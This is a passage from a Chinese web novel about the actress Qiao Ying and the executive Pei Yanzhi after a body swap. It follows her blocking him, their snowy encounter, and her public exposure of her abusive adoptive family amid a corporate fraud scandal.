鸦雀无声的房间里,秦铮和童娄梓提着一大堆奶茶,推门而入,怔愣道:“发生什么事了?” 时间正好,乔缨这边结束了拍摄,裴砚知放下道具慢悠悠地走了过来。 见状,童娄梓立即一个丝滑的滑铲,跟个大耗子一样蹿到他眼前,苍蝇搓手不住地道歉: “对不起裴总我错了,我就不该吃那碗螺狮粉,要是不吃那碗螺狮粉我就不会窜稀,我要是不窜稀就不会胆大包天让您替我顶班……” 导演听 罢也懂了个大概,压着童娄梓的头连连鞠躬: “对不起啊裴总,临时工不懂事,我这就让他赔您误工费,让他滚出这行再也不来碍您的眼。” “没事。” 在童娄梓心如死灰的眼神中,裴砚知从陆嘉泽手里接过湿巾擦了擦,思忖道:“你有兴趣签公司吗?我认识几个经纪人,可以介绍给你。” 虽然童娄梓让他顶班这事确实做得挺不靠谱,但一码归一码,他和乔缨今天也全靠童娄梓才能从电梯里出来。 既没耽误工作,并且还抓住了张强。 于公于私,都应该好好感谢一下。 他让陆嘉泽去给他买套正常的衣服,然后向呆在原地的两人告别,朝更衣室走去。 乔缨待会儿还要继续拍摄平面广告,但他下午需要回昭星和董事会的成员们开会,只好提前离场。 莫名其妙撞了大运的童娄梓掐掐手臂,果然一点都不痛。 他垂眸人淡如菊地摇摇头,释然笑道:“果然是食物中毒出幻觉了,导演,本员工乏了去眠一眠。” 导演:? 导演破口大骂:“神经吧?!你甜美的掐的是我!” 40-50 第41章 第四十一章 姐妹不用再劝我了,我找大…… 结束完拍摄, 天色已经渐暗,落日殷红。 一回到工作室,乔缨火急火燎打开大门, 一把将正在聊天的莫莉和陈澄抱了个满怀。 “亲爱的朋友们,我想死你们了!” 两人被吓了一跳, 诧异又惊恐地看向一旁的喻季年,用眼神询问发生了什么事。 喻季年无奈地摆摆手, 道:“别看我, 我也不知道为什么,她已经维持这种状态半个小时了。” 乔缨像是出门打了五年仗才回家的人一样,看啥啥新奇,激动得热泪盈眶。 从进公司大门起,她一路上连保安队养的护卫犬小黑都不放过, 对着狗头一阵蹂躏, 惹得饱受摧残的小黑现在都还有气无力地趴在保安怀里求安慰。 “看缨姐前几天安安静静的样子,我还以为咱们终于要换人设, 往清冷女神的赛道上走了呢。” 莫莉个子比较小,一个旋转便挣脱了乔缨的桎梏, 掰着手指头, 怨念颇深地数着最近乔缨有多反常。 “不仅香水换成了冷调的,连说话都特别有压迫感, 一个字一个字往外蹦,还特别抗拒肢体接触, 那叫一个高岭之花冷若冰霜, 可叫我伤心了。” 陈澄赞同地点点头,讳莫如深道:“我都怀疑你被哪个霸总附身了,一开口就是天凉王破的感觉。” 还记得因为沈颐那次直播事故, 有个影评人发文对乔缨和周瑾一顿痛批。 虽然被几家粉丝集火围攻,但他也尝到了热度的甜头,所以又变本加厉地连发了几条诋毁两人的微博,用词还特别过分和猥琐。 以乔缨那睚眦必报的性格,肯定当场就会骂回去。 可当陈澄告诉她这件事后,她却一反常态情绪十分稳定,只是面无表情地低头给谁发了条消息,说一切都交给她处理。 几分钟后,等陈澄再次打开手机时,忽然发现影评人的微博被封禁了,撰写的文章也在他所供稿的平台上全面下架,连同账号一起被注销封号,消失得无影无踪。 整个赛博世界里,只剩下几张同行们贴出来嘲笑他收钱办事闭眼吹的截图还保留着。 不仅成了名副其实的电子幽灵,还杀人诛心地留在了耻辱柱上。 说到这里,陈澄若有所思地摸了摸下巴,总结道:“杀人于无形可不是你的风格,要换作以前,你怎么着都会在他封号后嬉皮笑脸地嘲讽几句。” 虽然结局大差不差,但总感觉她身上少了那种贱嗖嗖的、阴阳怪气的、能把人气死的劲。 乔缨也没想到裴砚知会选择用这种大手笔的方式来处理舆论,不由得好奇问道:“那个骂我的制片人呢?他也被封号了?” 听说这人是阮绵绵的叔叔,邀请自己参加恋综也是想用她的尖酸刻薄来衬托阮绵绵的善良单纯,比影评人这种杂鱼角色不好对付得多。 “哦那倒不是,”陈澄一字一顿,语气里充满敬意,“你举报他是间谍来着。” ……合理。 闲聊了几句后,乔缨感觉戴了一天隐形眼镜的眼球有些干涩,坐到化妆镜前动作利索地卸着妆,一边往手机屏幕上瞟去。 自打裴砚知下午不告而别后,到现在为止都没给她发过消息。 说不失落是假的。 原本她还打算等工作结束后请裴砚知吃个饭,就当是庆祝两人的生活回归正轨。 可当她兴冲冲地走出摄影棚,问了一圈后才得知———裴砚知早就走了。 连个招呼都没打,连句话都没留下。 乔缨一个人过久了,不太懂人际交往的潜规则,虽然某人口口声声说是朋友,或许只是客气而已,是她会错了意,错估了自己的重要性。 还好,她也没有很沉迷。 只是期望落空的感觉让她很不爽,非常不爽。 正坐在身后替她拆头发的喻季年往镜子里瞥了一眼,发现乔缨正垂眸凝视着和【磷脂分子】的对话框。 虽然看不清她的脸,也不知道对方是谁,但喻季年能肯定,乔缨现在心情不好,整个人像蓬勃燃烧的火焰一样沸腾着。 喻季年默默收回视线。 不知道为什么,总觉得和前段时间清冷自持、喜怒不形于色的乔缨相比,现在这个鲜活的样子才是她本人。 “小喻,我问你啊。” 乔缨在输入框打下【你在干嘛】几个字后,忽然抬眸,和喻季年在镜中对视,神色恹恹地问:“就是我有一个朋友———” 还没说完的话被堵在嘴里,两个造型组的同事推门进来,见到她后打了声招呼,然后便开始整理起梳妆台上散乱的化妆用品。 等背过身后,同事A站到同事B身旁,并排洗着化妆刷,随口一问:“你和你crush最近怎么样啊?” 同事B立即瞅了周围一眼,凑近一点,愁眉苦脸抱怨道: “你知道,我和他是因为昭星这个项目才认识的嘛,相处得很融洽,我以为我俩能顺理成章地在一起。然后今天拍完广告,我原本想请他吃饭确定关系,结果他一句话没说就走了,不告而别……你说,这是为什么啊?” 怎么,这剧情听起来有点耳熟啊。 乔缨连忙竖起耳朵,假装看手机,实则是在听八卦。 同事A听到问题后冷笑了两声,这兴许不是她第一次见同事B这个样子了,因为她明显是一副害怕对方恋爱脑再度发作的表情。 只听A冷酷无情地道:“可能就是桥归桥路归路的意思吧,我劝你及时止损,收收心继续搞事业才是正道。” 说者无意,听者有心,乔缨对号入座琢磨了一下,在心里默默想:但裴砚知好像不是——— 同事B再度打断她的思考,犹豫道:“但他好像不是这种人吧?” 同事A恨铁不成钢地瞪着她,语气激动: “你清醒一点,你和他是合作关系,人家或许就是因为要完成工作才不得不对你这么好,现在项目结束一切回归正轨,你对他来说已经没用了,可不得划清界限吗?” 很好,很有道理,乔缨盯着裴砚知的头像,攥紧了手机。 同事B仍不死心,嘴硬道:“姐妹你别这么说他,不用再劝我了,我跟他处这么长时间还能不知道他是什么样的人嘛?我都找大师算过了,他那个星座就那样,忽冷忽热的不理人,我多主动一点就好。 ” 乔缨默默把对话框里【你在干嘛】这四个字删去。 同事A也懒得劝了,扼腕叹息道:“为了一个男人患得患失,以后要是越陷越深了,可有你好受的。” 同事B哭哭啼啼:“可我就是舍不得他嘛,我能怎么办……” 乔缨在输入框打下了【 人生有梦,各自精彩】八个大字。 然后把裴砚知拉进了黑名单。 “呼,终于舒坦了。”乔缨眯起眼睛,靠在座椅靠背上,长舒一口气。 说得没错,为男人患得患失,太恐怖了,是该及时止损。 幸好作为公众人物,她一向谨慎小心,提前把裴砚知手机里的聊天记录全了个删干净,没在他手里留下任何把柄。 见她神色几经变换,喻季年终于忍不住发问:“缨姐,你刚刚想说什么?你有一个朋友?” 乔缨笑得没心没肺:“对啊,我有一个朋友,她把金主爸爸拉黑了。” 这话说的,干脆直接报身份证得了。 喻季年吓了一跳,不可置信道:“姐,你就这么把他拉黑了?他可是裴砚知诶?” 虽然后续的工作确实不需要两人面对面直接沟通了,但…… 他长得那么帅,还那么有钱,人也挺搞笑的是个中二病,总觉得和乔缨很般配啊。 乔缨挥挥手,随意道:“那又怎样,都是过客,不重要。” 和裴砚知的关系本来就超过了普通合作对象的界限,现在既然要撇清关系,那就断得干净点。 她一向冷心冷情,身边多一个人少一个人,对她来说也没差。 喻季年不懂老板的脑回路,只是想起中午陆嘉泽来摄影室时的场景,有些好奇地问:“缨姐,你知道裴总开的什么车吗?我怎么从来没见过?” 乔缨回想了一下裴砚知车库里最常用的那一辆,摇摇头老实回答:“他这车我还真不认得,好像是个杂牌车,就屁股后面有个8然后还有俩翅膀。” 她顿了顿,继续补充道:“而且你又不是不知道,再好的车,对我来说都是囚车。” “唉,这心理疾病也是……” 喻季年同情地拍拍她的肩膀,怜悯道:“缨姐,我骑小电驴载你回去吧。” — 回到阔别已久的家,乔缨首先跑去仔细检查了一番放在古董柜子里的娃娃。 没有灰尘,没有损坏,看来是被裴砚知照顾得很好,她从互换身体后就一直悬着的心才终于放下。 走到厨房,这里被添置了不少高档器具,冰箱被塞得满满当当,空气炸锅烤的巴斯克冻在底层,橱柜里还放着一包一包的东西,不知道是什么。 乔缨拿出来看了看,发现那是中药,每一包上都打了标记,包括用法、剂量和药效,都分门别类地归置在了橱柜里。 她拿出陶罐放在灶台上,掺上水,把药撒了进去。 一想到今后再也体会不到这么细致入微又妥帖的照顾了,乔缨惆怅地喝下了三碗中药。 不过也就是有一点点伤心而已。 感情这事,不过就是上一秒双向奔赴的爱有多温暖,下一秒夫妻吵架开车对撞。 反正她可不会上当。 与此同时,结束完会议的裴砚知终于给手机充上了电,一开机就看到乔缨没头没尾地发来了八个字。 【Dioretsa:人生有梦,各自精彩。】 再往上翻,所有的聊天记录都被删除,两人这么多天的相处,却没在他这里留下半点痕迹。 裴砚知很疑惑,然而等他发出消息喜提一个红色感叹号后,逐渐变成了愤怒。 他打开玻璃窗,试图吹吹风冷静冷静。 然后发现屁用没有。 等一头雾水的徐言洲找到裴砚知时,他正两手插兜站在天台上,目视远方,眼神幽深,不可置信。 空气里飘来一句破碎的话: “我甚至给她每一包药都打了标记,她居然把我拉黑了?!” 顺风顺水的人生里,这是头一遭。 第42章 第四十二章 今日初雪,爱你的人,还在…… “她是不是在欲擒故纵?” 徐言洲盯着屏幕上那个硕大的红色感叹号, 在半个小时后得出了结论。 “她没这么无聊。” 裴砚知冷着一张脸,立即否认了这个假设。 他印象里的乔缨,从来都是张牙舞爪的样子, 人又特别自恋,互换身体时总是看着她自己的脸走神。 爱自己爱到这个份上, 天塌下来她都不可能是在欲擒故纵。 “我是不是哪里得罪她了?” 裴砚知蹙着眉,仔细回想了一遍两人相处时的片段, 陷入怀疑。 “哎呀, 别内耗了,”徐言洲刷着手机,突然激动地站了起来,“我去,y大终于发博了, 消失了这么多天, 我还以为他退圈了呢。” “y大?” 徐言洲将手机递给他看,骄傲地介绍:“「猫毛中的流浪者」, 星空摄影圈的大神,因为照片上总带着一个字母y的水印, 所以人称y大。” 裴砚知没什么兴趣, 恹恹地问:“这人很厉害吗?” “那可简直太厉害了!一个人,从南极的日全食追到北极的极光, 拿奖拿到手软,国内外各大天文馆的馆藏里都有他的作品。” 一说起爱好, 徐言洲就滔滔不绝了起来, 如数家珍道: “而且他还特别神秘,总是消失一段时间以后又开始腹泻式更新,神出鬼没的。不仅从没透露过长相, 连性别都未知,因为太过彪悍勇猛,大家都猜测他是个男的。” 那倒未必。 裴砚知闻言看了一眼屏幕,发现「猫毛中的流浪者」最新一条微博的ip地址也在京市。 再看他拍的照片,居然也有些眼熟,和乔缨头像里的机位角度十分相似。 他提起来一点兴趣,问道:“你知道这是哪儿吗?” 徐言洲摇头,“大神说这里是他的wonderwall,所以从不透露具体位置,但也有人根据星象扒到过大概的方位,好像是在京郊的某座山上,叫———叫什么山来着,特别小众。” “灵犀山。” 修长的手指在键盘上敲敲打打,裴砚知根据测算出的方位在地图上找到了准确的地点。 他披上衣服起身,晃晃手里的车钥匙,挑眉问:“要去看看吗?” “去,当然去。” 徐言洲立马狗腿地跟了上来,“我就没见过行动力像你这么强的人。” 而此时,数公里外的灵犀山脚,乔缨正和机车上闪得跟圣诞树似的故障灯大眼瞪小眼。 太长时间没骑车了,加上现在天气又冷,下山下到三分之二的地方机车就熄了火,她不得不硬着头皮将车推到了山脚。 四周立着几盏稀稀拉拉的路灯,远离市区的地方没什么人,打了救援电话也得在原地傻站着等一段时间。 乔缨摘下头盔和手套,倚靠在机车上看着天空。 冬季大三角已经被厚重的云层遮住,像她眼睛那一百度的散光一样模模糊糊透出来一点亮,直至彻底变成一团漆黑。 温度变得更冷了,乔缨裹紧外套,忽然感觉到一片冰凉,睫毛上沾染了一团白色的东西。 下雪了。 仰头,雪花像坠下的星星一样落进眼里。 伸出手,雪花在皮肤的温度下融化得很快,一片又一片砸向掌心,转瞬即逝,触感冰凉。 车内,面对突然降下的鹅毛大雪,徐言洲打开了雨刮器,随口说道:“对了,今天好像是初雪来着。” 他看了一眼导航,又看了一眼右上角的时间,顿时有些丧气:“快到地方了,这鬼天气,y大应该早就走了吧?” 话音未落,前方不远处的路边忽然闪过一道亮光,一个人影站在路灯下,正举着手机拍雪景。 料峭的风雪呼啸而过,吹起她卷曲蓬松头发,脸上因受冻而微微泛着红。 她的气质很冷,路灯暖调的光线折射入瞳孔,眼睛却仍是冷冽的,漆黑又明亮。 唯独笑起来时,眼尾向上弯起的微小弧度,才给她添上了一点属于人类的温度。 一种浑然天成的漂亮。 氛围刚好,少男心未泯的徐言洲停下车,戳了戳坐在副驾驶的裴砚知,由衷感慨:“这场景还挺浪漫的,像在拍偶像剧。” 裴砚知闻言转头,视线透过挡风玻璃散漫扫去,停顿在那道人影上。 隔着纷飞的大雪,他 看见了乔缨。 徐言洲尬笑两声:“还真是,说什么来什么哈。也不怪人家拉黑你,一个冰山美女,一个冰山帅哥,你俩,撞号了。” 冰山美女? 裴砚知怀疑徐言洲有什么认知障碍,紧盯着乔缨,难以置信地问:“你管这种叫冰山美女?” “怎么不算呢?” 徐言洲也转头看向她,不赞同道:“人家不就是把你拉黑了吗,至于这么小气———” 然后,在四目睽睽下,乔缨拍完照后快速收回手机,骂骂咧咧地说:“什么雪啊,有云生没云养的东西,冻死你姑奶奶了。” 紧接着,她打开背包掏掏掏,掏出来一个脸基尼。 又掏掏掏,掏出来一个雷锋帽,甚至还有个盖已经翻了下来。 事情发展到这一步,已经有点不妙了。 只见乔缨拿着两大神器,二话不说就套到了头上,嘴里还嘟嘟囔囔:“哎,我难道买小了吗,怎么感觉有点勒脑袋呢?” 没有宿命感,都是幽默感。 我嘞个冬夜悍匪啊。 徐言洲震惊了,这要是被周围哪个老乡看见,指不定乔缨就会成为继375路公交车后京市的又一恐怖都市传说。 几步之遥的路灯下,悍匪本悍已无暇顾及其他,专心致志和脸基尼斗智斗勇。 她眼前漆黑一片,五官扭曲成一团,挤在买小了一号的布料里。 从视觉效果上来说,有点像头套进了丝袜,有点像韩国顺产欧巴。 手指被冻得僵直,使不上力气。 正当乔缨逐渐暴躁想用惯性一爪子撕烂时,忽然感觉有个人站在了自己身前,鼻尖闻到一股熟悉的冷香。 哪怕潜意识里已经有了答案,乔缨仍做出了防备的姿势,凭借着第六感,一拳挥向那人的腹部。 她厉声喝道:“谁,谁在那里?” 然而挥出去的拳头落了空,被一只宽大手掌轻轻握住,温热修长的手指钻入头套缝隙,稍一用力,便掀开了束缚着她的布料。 乔缨猛然吸了一口冷空气。 爸爸妈妈,我出生了! 身前那人屈起手指,在她的额头上弹了一下。 乔缨一睁眼,就看到裴砚知似笑非笑地看着自己,语气还特别欠揍:“拉黑我后,乔老师这人生,确实有够精彩啊。” …… 好想死。 还有什么是比拉黑后不到两个小时就被当事人找上门来讨说法更尴尬的事? 是当事人来讨说法还凑巧看到自己被脸基尼卡住差点窒息死亡,不计前嫌好心搭救却被挥了一拳。 都不用照镜子,她现在的表情一定很窝囊。 还好,裴砚知并没有揪着这个问题不放,看了一眼机车后便大致明白了状况,问她:“在等救援队?” 乔缨盯着脚尖,机械地点点头。 “外面天冷,去车里等吧。” 裴砚知接过她手里的雷锋帽和背包,自然而然地圈住她冰凉的手腕,抬步向车的方向走去。 薄薄的一层积雪覆盖地面,一前一后的脚印转瞬间被新雪包裹。 乔缨看得出神,等她反应过来后,人已经毫不客气地坐进了后座。 徐言洲转过头,视线不断在两人之间徘徊,很明显想说些什么。 乔缨这时才注意到车里还有个人,惊讶道:“徐言洲?你今天怎么当司机了,陆嘉泽呢?” “乔小姐认识我?”徐言洲一愣,乔缨认识陆嘉泽就算了,可记忆里她和自己好像并没有见过面。 “我当然认识你。” 一到这时候,乔缨就来了精神,清清嗓子,故弄玄虚:“或者说,我认识世界上的每一个人,天地与我并生,万物与我为一,道法自然。” “既然如此,大师你能帮我算算我为什么会被你拉黑吗?” 裴砚知笑容温和,直视着她的眼睛,问得特别真诚,不含一丝阴阳怪气。 乔缨瞬间闭上了嘴。 为什么? 总不能说是因为裴砚知影响到了自己的情绪,所以她才把他删了吧? 营销号说土象星座都是这样啊,到底谁来懂一下? 话说回来,裴砚知是什么星座?蒋南宇不是说他生日快到了吗? 现在是十二月份中旬,那就是摩羯座? 处女座和摩羯座的适配度是多少来着? 无比安静的车内,她一个人在高速运转着大脑,神游天外,完全忘记了最初的问题。 裴砚知已经习惯了她这样,弯起唇角,好整以暇地看着对方。 气氛开始变得诡异了起来。 倍感焦灼的徐言洲忍不住打开了电台,主播的声音顿时在车内响起。 因为信号不好,她的声音断断续续的,一字一顿读着粉丝投稿。 “这位来自……朋友说……误会……分手后拉黑了联系方式……很后悔……” 乔缨短暂地回过了神。 “最后……说声晚安……我想,我们一生都在错过对的人……珍惜现在,放下过去……今日初雪,爱你的人,还在你身边吗?” 乔缨偷偷摸摸转动眼球,向旁边瞥了一下,却骤然撞进裴砚知的眼眸里。 对视的瞬间,一时无言。 紧接着,电台的声音被节目组特意调大,顶配的音响中,赫然传来了一首著名的伤感情歌。 名字大家都很熟悉,叫《分手快乐》。 缠绵悱恻的歌声里,零下几度的气温下,徐言洲擦擦脑门上的汗,关掉电台,给出一个贴心的建议。 “那什么,要不,咱们还是听二人转吧?” 第43章 第四十三章 因为我喜欢你呗,行了吗?…… 第二天, 与京市初雪一起上热搜的,还有盛合集团被查的消息。 所谓拔出萝卜带出泥,除了乔家父子之外, 涉嫌财务作假的集团高管、收受贿赂的审计事务所,以及众多环节中参与的各色人等均被一锅端。 然而在这个关键时期, 乔盛合本人仍在昏迷状态中,很多证据无法直接获得。 无数双眼睛正盯着那间病房, 盼他早点醒的, 盼他再也不醒的,都在焦急等待着事情转机。 事件传得沸沸扬扬,乔俞诚即将被带走调查,而乔缨作为相关人士,也不可避免地成了话题中心。 在有心之人的引导下, 舆论逐渐往她是既得利益者的方向发展, 一时间全是谴责的评论,说她沆瀣一气, 蛇鼠一窝,狼狈为奸。 粉粉黑黑, 几番混战下来, 比起时政新闻,更多了一丝八卦的意味。 盛合集团的大楼外, 一堆收到消息的记者扛着长枪短炮堵在警戒线后,都想第一时间拍到乔俞诚被捕的照片。 正当记者们等得心焦之时, 一阵响亮的机车轰鸣声在后方响起, 惹得众人纷纷回头。 喧嚣嘈杂中,乔缨取下头盔,长腿一跨, 十分嚣张地出现在人群之外。 因为那张脸太有辨识度,有人立即认出来她的身份,震惊道:“我去,乔缨本人来了?” 这人声音极大,此言一出,原先没有看到她的人也忍不住好奇地转过头,发出几声惊叫后便立即将镜头对准了乔缨,自发给乔缨让出来一条路。 人群安静了一瞬后,立即响起无数道窃窃私语的声音。 “这是来卖惨的吧?” “果然是明星,连这种时候都要来作秀。” “天呐,我还以为乔缨不知情呢,看样子她是早就知道盛合这些勾当了吧?” “她怎么可能不知道,可怜了咱们老百姓,被资本家骗走一辈子的积蓄买了烂尾房,吸出来的血全都送给二代们逐梦演艺圈了。” “她还真是胆子大,也不怕被打啊。” 乔缨听在耳里,脚步不停,走到最前排时才潇洒地转过身,笑容张扬。 “大家早上好啊。” 乔缨扬了扬手中的文 件,对着其中一个直播镜头朗声道:“我今天来呢,主要目的是要落井下石,其次是要宣布一件大事。” 她清清嗓子,把手中复印出的文件一一分发到众人手中。 “本人乔缨,自从被收养以来,一直受到养母李娆、养父乔盛合以及哥哥乔俞诚的虐待,多次进医院治疗,详情可见附件一的就诊记录。” 众人看向手中的资料。 触目惊心的图片夹杂在长长一串就诊记录里,被鞭子打的,被针扎的,被手掐的,以及长期的精神疾病治疗证明。 “而我至今为止在娱乐圈的大部分收入也被乔家以监护人的名义强行占有,他们还多次哄骗我出资买单以供自己享乐,具体的金额和条目可见附件二。” 众人再低头。 豪车豪宅奢侈品,动产不动产以及投资,现有的出资证明加起来高达几个亿。 “所以我今天既不是来卖惨,也不是来作秀,而是报仇。” 她换上了正经的表情,高声道:“收集这些资料花费了我大量的精力与心血,我会对乔家提起诉讼,解除收养关系,最重要的是,追回财产。” 有人发问:“那你对盛合财务造假一事当真不知情吗?” 乔缨悔恨地握了握拳,神情激动地说:“当然不知情,我要是知道,早就把他俩送进去了!” 这话刚说完,乔俞诚便铐着手铐走了出来,看到乔缨后不可置信地瞪大了眼睛,双目通红地冲了过来。 他不知道乔缨刚刚已经把乔家的底子都抖了个干净,以为乔缨是来求情的,面露侥幸,立即颐气指使起来。 “我就知道你还放不下这个家!快,你是明星,是公众人物,只要你去网上闹一闹,我就不用进监狱了!我们是一家人,乔家养了你这么多年,你必须要帮我!” 乔缨捏着鼻子后退两步,皱着眉满脸不爽地回:“花无百日红,人与畜不同,谁跟你是一家人。” 乔俞诚仍不死心,想一把抓住她的手,目眦欲裂,一会儿暴怒地大叫,一会儿又声泪俱下地哀求,那副同归于尽的表情就像是个真正的疯子。 他吼叫道:“乔缨,你可是姓乔!我要是进去了,你的孩子也考不了公!” “首先,乔缨的‘乔’是孤儿院院长乔觐女士的‘乔’,和你们乔家没有关系。” 乔缨弯下腰和他对视,握住他的手,露出一个温情脉脉的笑容。 “其次,哥哥你就放心地走吧,我一定会让乔家绝后的!” “你!” 乔俞诚被架上了警车,不知想到了什么,突然状若癫狂地回头,对着她大喊:“是你!是你干的对不对?你这个吃里扒外的东西!” “那咋了?” 乔缨微笑着对他比了个中指,“恭喜你滚出我绚烂的人生。” 被剧情控制也没关系,在偶尔清醒的日子,她一直在找出路。 你们困不死我的。 警笛声渐远,记者要赶着回去写新闻,人群散去,乔缨抱着头盔走去了对面的咖啡店。 她敲敲裴砚知面前的桌子,毫不客气地坐在他面前,挑眉道:“这么巧,您老人家亲自来喝咖啡啊。” 裴砚知放下手中的杂志,第一次怀疑乔缨在自己身上装了追踪器。 他眼里闪着困惑,无意识摩挲指节,饶有兴趣地问:“你是怎么发现的?我以为我做得很隐蔽。” “因为我喜欢你呗,行了吗?满意了吗?” 乔缨捧着菜单,头也不抬地答,叫来服务生点了两杯咖啡。 敷衍的直球让裴砚知短暂沉默了两秒。 客观来讲,乔缨真是一个性格很恶劣的人,满嘴跑火车,不走心的话张口就来,分不清哪句是真,哪句是假。 等你误会了惊喜地看向她的眼睛时,却只能看到一片冷淡又明晃晃的嘲笑。 很缺德,但胜在脸实在太好看,所以缺德的样子反而别有一番风味。 徐言洲说他是被pua了,但裴砚知对此保持异议。 “你的车修好了,维修场打不通你的电话,让我告诉你一声。” 他抬眼向窗外看了一眼,转移话题道:“你很喜欢机车吗?看起来好像有很多辆。” “你不是知道我微博小号嘛,昨天还跟着照片找了过来,我的三辆机车都发过图片啊。” 乔缨一手托着下巴,好整以暇观察着裴砚知的表情,慢悠悠地喝了口咖啡。 可裴砚知的反应却让她很失望,脸上丝毫没有被戳破的慌张,还是那副气定神闲的样子。 乔缨撇嘴,忍不住用手戳戳他的脸颊,不满地说:“你怎么跟个人机一样,好像什么事情都不会让你惊讶。” “需要我提醒你一下,窗外有狗仔吗?” 裴砚知指了指不远处探头探脑的人影,然后淡然地回答了她的问题:“被你拉黑时我还是挺惊讶的,所以乔老师能给个理由吗?” 这事儿过不去了是吧? 从昨天一直说到今天,好像她是什么辜负真心的渣女一样。 乔缨一边搅动着咖啡,一边四十五度角仰望天空,语气沧桑:“你不懂,有些人血里有风,注定是要漂泊的。” 裴砚知叹口气:“知道了,漂泊姐。” 乔缨眯着眼,带着神秘的微笑,继续装逼:“我知道我很迷人,但你别和我靠太近,这是为了你好。” 裴砚知语气不变,眼里噙着促狭的笑:“知道了,中二病。” 天空又开始下雪,店里环境静谧,玻璃窗逐渐蒙上一层雾气。 两人就这样静静地看着窗外的落雪。 气氛正好,乔缨忽然转过头,特别正经地问了一句:“对了裴总,你说我们是朋友对吧?” 裴砚知仍在欣赏着雪景,毫无防备地点头回答:“嗯,有什么问题吗?” “你的那杯175。” 乔缨把账单推到他面前,假装惊讶地捂着嘴,笑容灿烂:“哇塞,刚好和我的身高一样诶!”- “这次的事,我也爱莫能助啊。” 沈万钧坐在黄花梨交椅上,敲敲拐杖,嘴角挂着虚伪的笑。 他如今已年逾八十,眼下挂着又肿又厚的眼袋,堆积的脂肪像沙皮狗一样,一层一层缠在脖子上,过早亏空的身体显出浓厚的疲态。 脸上注射的肉毒让他整个人显得僵硬又怪异,眼尾炸开的皱纹沟壑被绷紧的皮肤拉直,整个人像是一只画上了五官的气球。 明明是真人,却显出一种强烈的恐怖谷效应。 只有那双眼睛,闪着万年如一日的精光,气质阴沉而威严,看一眼就叫人战战兢兢。 坐在下座的孟琴暗自攥了攥拳,向前伸直了脖子,急切道:“可是老爷子,财务报告作假的事明明您也……” 沈万钧身旁老管家冷笑着打断:“少夫人,饭可以乱吃,话不可以乱说,所有的文件上,可都只有三少爷的签名。” 他神情倨傲,虽然只是个佣人,但他一向看不惯孟琴,眼里盛满厌恶和嘲笑。 沈老爷子一共有三个孩子,大儿子沈书齐,二儿子沈远辉,以及沈颐的父亲———小儿子沈弘宇。 其中,要数小儿子沈弘宇最没出息,能力极差,风流花心,处处留情,一门心思全在声色犬马上,不学无术。 而孟琴是他当年包养的小明星,不小心怀了孕,在某天突然消失,五年后才重新出现。 彼时的沈弘宇已经和叶家千金订婚,结婚典礼上,孟琴带着五岁的沈颐泪流满面地出现在众人面前,气得叶家千金当场走人,婚事告吹,两家关系决裂。 豪门婚礼自然请了很多媒体记者,所以这件事在当时闹得很大,至今仍时不时被人拿出来讨论。 看在沈颐是个男孩的份上,沈万钧勉强同意了孟琴进门,但因为得罪了叶家,他对这一家三口一向没有什么好脸色,直到沈颐搭上乔缨后才有所缓和。 “唉,老周,你看你这个急性子,怎么不让小琴把话说完。” 沈万钧板着脸,装模作样地训斥了周管家几句,继而叹了口气, 道:“不过啊,小琴,说话得要讲证据,我当初也只是给了弘宇一些建议,至于做不做,怎么做,可不是老爷子我能控制的。” 放的什么屁。 孟琴紧咬着牙,恨不得拿把水果刀立即将眼前这个八十岁的米其林轮胎扎漏气。 诚然,沈老爷子和盛合集团明面上没有关系,但董事会里大半可都是他塞进去的棋子,沈弘宇就是其中一个。 谁不知道沈弘宇是替老爷子办事的,如今涉事的人全都被警方带走调查,沈万钧为了自保,居然想把儿子推出来挡刀。 孟琴挤出几滴眼泪,哽咽道:“但您也知道,小颐现在正是事业上升期,要是粉丝们知道他爸被抓了,恐怕……” “哼,你还好意思说,你这好儿子嘴上没个把门的,差点给我惹出大麻烦。” 沈万钧冷哼一声,用拐杖指着孟琴,气得浑身颤抖。 众所周知,娱乐圈捞钱容易,洗钱更是方便。 沈颐进圈发展便是他一手操作的,还开了个经纪公司,靠着各种合法的、不合法的渠道赚得盆满钵满。 谁知沈颐在直播里的自曝带来了连锁效应,不仅自身的口碑一落千丈,连带着公司都受到影响,被人扒出来疑似偷税漏税和洗钱的证据。 要不是沈万钧动作快,这会儿进去的人就是他了。 孟琴抽抽噎噎,沈万钧被哭得烦了,让保镖赶紧把她轰出去,恨铁不成钢道: “哭哭哭,就知道哭!你那宝贝儿子要是有乔缨一半的脑子,这会儿就该发声明和他爹断绝关系了,真是吃屎都赶不上热乎的!” 周管家赶紧倒了杯热茶,拍着沈万钧的背替他顺气。 屋内再度安静下来,沈万钧背着手站在窗前,脸色阴沉地咳了几声。 原本沈弘宇被抓并不会闹出什么大动静,一个不怎么受重视的小儿子,撇清关系就好。 可好巧不巧的是,沈颐这段时间突然发了许多和乔缨青梅竹马的通稿,将乔、沈两家深度捆绑,在大众视野里刷足了存在感。 经过他这一番神操作后,成功让沈氏集团和沈弘宇划了等号,现在一出事,能掩盖的都掩盖不了了。 打给沈颐的电话一接通,沈万钧便大发雷霆地吼道: “乔家现在出了事,人人都在撇清关系,你倒好,生怕别人不知道沈家和乔家走得近!你是想害得我破产吗?” 沈颐刚睡醒就被劈头盖脸骂了一顿,举着手机嗫嚅道:“爷爷,我也是刚刚才知道盛合被查了……” 他爸被抓都是小事,惹怒沈万钧才是大事。 毕竟沈颐早就发现了这个家里谁才是真正的皇帝,谁才是那个说一不二的大爹。 可现在钱也花了,水军帖也发出去了,覆水难收,他简直是被架在火上烤。 沈万钧就看不得他这窝囊样,从鼻子里哼出一声:“上不得台面的私生子,连这点事都办不好,不成器的废物!” 沈颐脸色阴沉下来,心里记恨又不敢出声反驳。 他清楚地知道,自己不过是个沈家留在娱乐圈洗钱的工具,一旦沈家倒台,或者资本找到了更好操纵的对象,沈颐的好日子就到头了。 沈颐深呼吸了一口气,压下心中的烦躁,尽量让自己的语气听起来恭顺一点,腆着脸赔笑: “是我的错,爷爷,我这就让他们去删帖。您别生气了,小心身体……我最近新得了几件古董,等您有空了送给您掌掌眼?” 沈万钧却是一点面子都不给,跟训狗似的教训道:“那些破烂你自己留着吧!你记住,这事儿要是处理不好,你他妈也别想在圈子里混了! “我……” 还没等他说完,沈万钧便毫不犹豫地挂断了电话,神色不虞地看向一旁匆忙赶来的秘书。 他不耐地说:“你有什么事?” “老爷子,不好了。” 秘书皱着眉,将手机递到他眼前,战战兢兢道:“乔缨发了条直播预告,说是要来沈家……直播退婚。” 第44章 第四十四章 撕漫男,撕的是蜡笔小新…… “倒反天罡!要退婚也该是沈家退, 她一个被收养的野丫头,凭什么骑到我沈家头上!” 沈万钧的脸涨成了猪肝色,周管家捏了把冷汗, 